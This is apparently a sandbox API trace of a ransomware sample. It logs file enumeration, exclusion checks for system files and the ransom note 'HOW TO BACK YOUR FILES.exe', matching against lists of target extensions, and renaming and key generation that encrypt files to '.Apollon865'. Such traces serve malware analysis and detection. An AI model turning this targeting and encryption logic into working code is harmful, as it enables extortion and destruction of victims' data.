	[0077.915] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0077.915] lstrlenW (lpString="myd") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0077.915] lstrlenW (lpString="ndf") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0077.915] lstrlenW (lpString="nnt") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0077.915] lstrlenW (lpString="nrmlib") returned 6
	[0077.915] lstrcmpiW (lpString1="et.msi", lpString2="nrmlib") returned -1
	[0077.915] lstrlenW (lpString="ns2") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0077.915] lstrlenW (lpString="ns3") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0077.915] lstrlenW (lpString="ns4") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0077.915] lstrlenW (lpString="nsf") returned 3
	[0077.915] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0077.915] lstrlenW (lpString="nv") returned 2
	[0077.915] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0077.915] lstrlenW (lpString="nv2") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0077.916] lstrlenW (lpString="nwdb") returned 4
	[0077.916] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0077.916] lstrlenW (lpString="nyf") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0077.916] lstrlenW (lpString="odb") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.916] lstrlenW (lpString="odb") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.916] lstrlenW (lpString="oqy") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0077.916] lstrlenW (lpString="ora") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0077.916] lstrlenW (lpString="orx") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0077.916] lstrlenW (lpString="owc") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0077.916] lstrlenW (lpString="p96") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0077.916] lstrlenW (lpString="p97") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0077.916] lstrlenW (lpString="pan") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0077.916] lstrlenW (lpString="pdb") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0077.916] lstrlenW (lpString="pdm") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0077.916] lstrlenW (lpString="pnz") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0077.916] lstrlenW (lpString="qry") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0077.916] lstrlenW (lpString="qvd") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0077.916] lstrlenW (lpString="rbf") returned 3
	[0077.916] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0077.916] lstrlenW (lpString="rctd") returned 4
	[0077.916] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0077.917] lstrlenW (lpString="rod") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0077.917] lstrlenW (lpString="rodx") returned 4
	[0077.917] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0077.917] lstrlenW (lpString="rpd") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0077.917] lstrlenW (lpString="rsd") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0077.917] lstrlenW (lpString="sas7bdat") returned 8
	[0077.917] lstrcmpiW (lpString1="ISet.msi", lpString2="sas7bdat") returned -1
	[0077.917] lstrlenW (lpString="sbf") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0077.917] lstrlenW (lpString="scx") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0077.917] lstrlenW (lpString="sdb") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0077.917] lstrlenW (lpString="sdc") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0077.917] lstrlenW (lpString="sdf") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0077.917] lstrlenW (lpString="sis") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0077.917] lstrlenW (lpString="spq") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0077.917] lstrlenW (lpString="te") returned 2
	[0077.917] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0077.917] lstrlenW (lpString="teacher") returned 7
	[0077.917] lstrcmpiW (lpString1="Set.msi", lpString2="teacher") returned -1
	[0077.917] lstrlenW (lpString="tmd") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0077.917] lstrlenW (lpString="tps") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0077.917] lstrlenW (lpString="trc") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.917] lstrlenW (lpString="trc") returned 3
	[0077.917] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.917] lstrlenW (lpString="trm") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0077.918] lstrlenW (lpString="udb") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0077.918] lstrlenW (lpString="udl") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0077.918] lstrlenW (lpString="usr") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0077.918] lstrlenW (lpString="v12") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0077.918] lstrlenW (lpString="vis") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0077.918] lstrlenW (lpString="vpd") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0077.918] lstrlenW (lpString="vvv") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0077.918] lstrlenW (lpString="wdb") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0077.918] lstrlenW (lpString="wmdb") returned 4
	[0077.918] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0077.918] lstrlenW (lpString="wrk") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0077.918] lstrlenW (lpString="xdb") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0077.918] lstrlenW (lpString="xld") returned 3
	[0077.918] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0077.918] lstrlenW (lpString="xmlff") returned 5
	[0077.918] lstrcmpiW (lpString1="t.msi", lpString2="xmlff") returned -1
	[0077.918] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".") returned 1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="..") returned 1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="windows") returned -1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="bootmgr") returned 1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="temp") returned -1
	[0077.918] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="pagefile.sys") returned -1
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="boot") returned 1
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="ids.txt") returned 1
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="ntuser.dat") returned 1
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="perflogs") returned -1
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="MSBuild") returned 1
	[0077.919] lstrlenW (lpString="OfficeMUISet.xml") returned 16
	[0077.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0077.919] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OfficeMUISet.xml" | out: lpString1="OfficeMUISet.xml") returned="OfficeMUISet.xml"
	[0077.919] lstrlenW (lpString="OfficeMUISet.xml") returned 16
	[0077.919] lstrlenW (lpString="Apollon865") returned 10
	[0077.919] lstrcmpiW (lpString1="MUISet.xml", lpString2="Apollon865") returned 1
	[0077.919] lstrlenW (lpString=".dll") returned 4
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".dll") returned 1
	[0077.919] lstrlenW (lpString=".lnk") returned 4
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".lnk") returned 1
	[0077.919] lstrlenW (lpString=".ini") returned 4
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".ini") returned 1
	[0077.919] lstrlenW (lpString=".sys") returned 4
	[0077.919] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".sys") returned 1
	[0077.919] lstrlenW (lpString="OfficeMUISet.xml") returned 16
	[0077.919] lstrlenW (lpString="bak") returned 3
	[0077.919] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.919] lstrlenW (lpString="ba_") returned 3
	[0077.919] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.919] lstrlenW (lpString="dbb") returned 3
	[0077.919] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.919] lstrlenW (lpString="vmdk") returned 4
	[0077.919] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.919] lstrlenW (lpString="rar") returned 3
	[0077.919] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.919] lstrlenW (lpString="zip") returned 3
	[0077.919] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.919] lstrlenW (lpString="tgz") returned 3
	[0077.919] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.919] lstrlenW (lpString="vbox") returned 4
	[0077.919] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.919] lstrlenW (lpString="vdi") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.920] lstrlenW (lpString="vhd") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.920] lstrlenW (lpString="vhdx") returned 4
	[0077.920] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.920] lstrlenW (lpString="avhd") returned 4
	[0077.920] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.920] lstrlenW (lpString="db") returned 2
	[0077.920] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.920] lstrlenW (lpString="db2") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.920] lstrlenW (lpString="db3") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.920] lstrlenW (lpString="dbf") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.920] lstrlenW (lpString="mdf") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.920] lstrlenW (lpString="mdb") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.920] lstrlenW (lpString="sql") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.920] lstrlenW (lpString="sqlite") returned 6
	[0077.920] lstrcmpiW (lpString1="et.xml", lpString2="sqlite") returned -1
	[0077.920] lstrlenW (lpString="sqlite3") returned 7
	[0077.920] lstrcmpiW (lpString1="Set.xml", lpString2="sqlite3") returned -1
	[0077.920] lstrlenW (lpString="sqlitedb") returned 8
	[0077.920] lstrcmpiW (lpString1="ISet.xml", lpString2="sqlitedb") returned -1
	[0077.920] lstrlenW (lpString="xml") returned 3
	[0077.920] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.920] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.Apollon865") returned 90
	[0077.920] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0077.921] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=819) returned 1
	[0077.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0077.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0077.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0077.922] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfc50) returned 1
	[0077.923] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.923] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0077.923] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0xd8
	[0077.924] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0077.926] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfc50) returned 1
	[0077.927] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.927] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0077.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.928] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.928] CloseHandle (hObject=0xd8) returned 1
	[0077.928] CloseHandle (hObject=0x100) returned 1
	[0077.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0077.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0077.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0077.928] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="Apollon865.txt.exe") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2=".") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="..") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="windows") returned -1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="bootmgr") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="temp") returned -1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="pagefile.sys") returned -1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="boot") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="ids.txt") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="ntuser.dat") returned 1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="perflogs") returned -1
	[0077.928] lstrcmpiW (lpString1="osetupui.dll", lpString2="MSBuild") returned 1
	[0077.928] lstrlenW (lpString="osetupui.dll") returned 12
	[0077.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0077.929] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="osetupui.dll" | out: lpString1="osetupui.dll") returned="osetupui.dll"
	[0077.929] lstrlenW (lpString="osetupui.dll") returned 12
	[0077.929] lstrlenW (lpString="Apollon865") returned 10
	[0077.929] lstrcmpiW (lpString1="etupui.dll", lpString2="Apollon865") returned 1
	[0077.929] lstrlenW (lpString=".dll") returned 4
	[0077.929] lstrcmpiW (lpString1="osetupui.dll", lpString2=".dll") returned 1
	[0077.929] lstrlenW (lpString=".lnk") returned 4
	[0077.929] lstrcmpiW (lpString1="osetupui.dll", lpString2=".lnk") returned 1
	[0077.929] lstrlenW (lpString=".ini") returned 4
	[0077.929] lstrcmpiW (lpString1="osetupui.dll", lpString2=".ini") returned 1
	[0077.929] lstrlenW (lpString=".sys") returned 4
	[0077.929] lstrcmpiW (lpString1="osetupui.dll", lpString2=".sys") returned 1
	[0077.929] lstrlenW (lpString="osetupui.dll") returned 12
	[0077.929] lstrlenW (lpString="bak") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0077.929] lstrlenW (lpString="ba_") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0077.929] lstrlenW (lpString="dbb") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0077.929] lstrlenW (lpString="vmdk") returned 4
	[0077.929] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0077.929] lstrlenW (lpString="rar") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0077.929] lstrlenW (lpString="zip") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0077.929] lstrlenW (lpString="tgz") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0077.929] lstrlenW (lpString="vbox") returned 4
	[0077.929] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0077.929] lstrlenW (lpString="vdi") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0077.929] lstrlenW (lpString="vhd") returned 3
	[0077.929] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0077.929] lstrlenW (lpString="vhdx") returned 4
	[0077.929] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0077.929] lstrlenW (lpString="avhd") returned 4
	[0077.930] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0077.930] lstrlenW (lpString="db") returned 2
	[0077.930] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0077.930] lstrlenW (lpString="db2") returned 3
	[0077.930] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0077.930] lstrlenW (lpString="db3") returned 3
	[0077.930] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0077.930] lstrlenW (lpString="dbf") returned 3
	[0077.930] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0077.930] lstrlenW (lpString="mdf") returned 3
	[0077.930] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0077.930] lstrlenW (lpString="mdb") returned 3
	[0077.930] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0077.930] lstrlenW (lpString="sql") returned 3
	[0077.930] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0077.930] lstrlenW (lpString="sqlite") returned 6
	[0077.930] lstrcmpiW (lpString1="ui.dll", lpString2="sqlite") returned 1
	[0077.937] lstrlenW (lpString="sqlite3") returned 7
	[0077.937] lstrcmpiW (lpString1="pui.dll", lpString2="sqlite3") returned -1
	[0077.937] lstrlenW (lpString="sqlitedb") returned 8
	[0077.937] lstrcmpiW (lpString1="upui.dll", lpString2="sqlitedb") returned 1
	[0077.937] lstrlenW (lpString="xml") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0077.937] lstrlenW (lpString="$er") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0077.937] lstrlenW (lpString="4dd") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0077.937] lstrlenW (lpString="4dl") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0077.937] lstrlenW (lpString="^^^") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0077.937] lstrlenW (lpString="abs") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0077.937] lstrlenW (lpString="abx") returned 3
	[0077.937] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0077.937] lstrlenW (lpString="accdb") returned 5
	[0077.937] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1
	[0077.937] lstrlenW (lpString="accdc") returned 5
	[0077.937] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1
	[0077.938] lstrlenW (lpString="accde") returned 5
	[0077.938] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1
	[0077.938] lstrlenW (lpString="accdr") returned 5
	[0077.938] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1
	[0077.938] lstrlenW (lpString="accdt") returned 5
	[0077.938] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1
	[0077.938] lstrlenW (lpString="accdw") returned 5
	[0077.938] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1
	[0077.938] lstrlenW (lpString="accft") returned 5
	[0077.938] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1
	[0077.938] lstrlenW (lpString="adb") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0077.938] lstrlenW (lpString="adb") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0077.938] lstrlenW (lpString="ade") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0077.938] lstrlenW (lpString="adf") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0077.938] lstrlenW (lpString="adn") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0077.938] lstrlenW (lpString="adp") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0077.938] lstrlenW (lpString="alf") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0077.938] lstrlenW (lpString="ask") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0077.938] lstrlenW (lpString="btr") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0077.938] lstrlenW (lpString="cat") returned 3
	[0077.938] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0077.938] lstrlenW (lpString="cdb") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0077.939] lstrlenW (lpString="ckp") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0077.939] lstrlenW (lpString="cma") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0077.939] lstrlenW (lpString="cpd") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0077.939] lstrlenW (lpString="dacpac") returned 6
	[0077.939] lstrcmpiW (lpString1="ui.dll", lpString2="dacpac") returned 1
	[0077.939] lstrlenW (lpString="dad") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0077.939] lstrlenW (lpString="dadiagrams") returned 10
	[0077.939] lstrcmpiW (lpString1="etupui.dll", lpString2="dadiagrams") returned 1
	[0077.939] lstrlenW (lpString="daschema") returned 8
	[0077.939] lstrcmpiW (lpString1="upui.dll", lpString2="daschema") returned 1
	[0077.939] lstrlenW (lpString="db-journal") returned 10
	[0077.939] lstrcmpiW (lpString1="etupui.dll", lpString2="db-journal") returned 1
	[0077.939] lstrlenW (lpString="db-shm") returned 6
	[0077.939] lstrcmpiW (lpString1="ui.dll", lpString2="db-shm") returned 1
	[0077.939] lstrlenW (lpString="db-wal") returned 6
	[0077.939] lstrcmpiW (lpString1="ui.dll", lpString2="db-wal") returned 1
	[0077.939] lstrlenW (lpString="dbc") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0077.939] lstrlenW (lpString="dbs") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0077.939] lstrlenW (lpString="dbt") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0077.939] lstrlenW (lpString="dbv") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0077.939] lstrlenW (lpString="dbx") returned 3
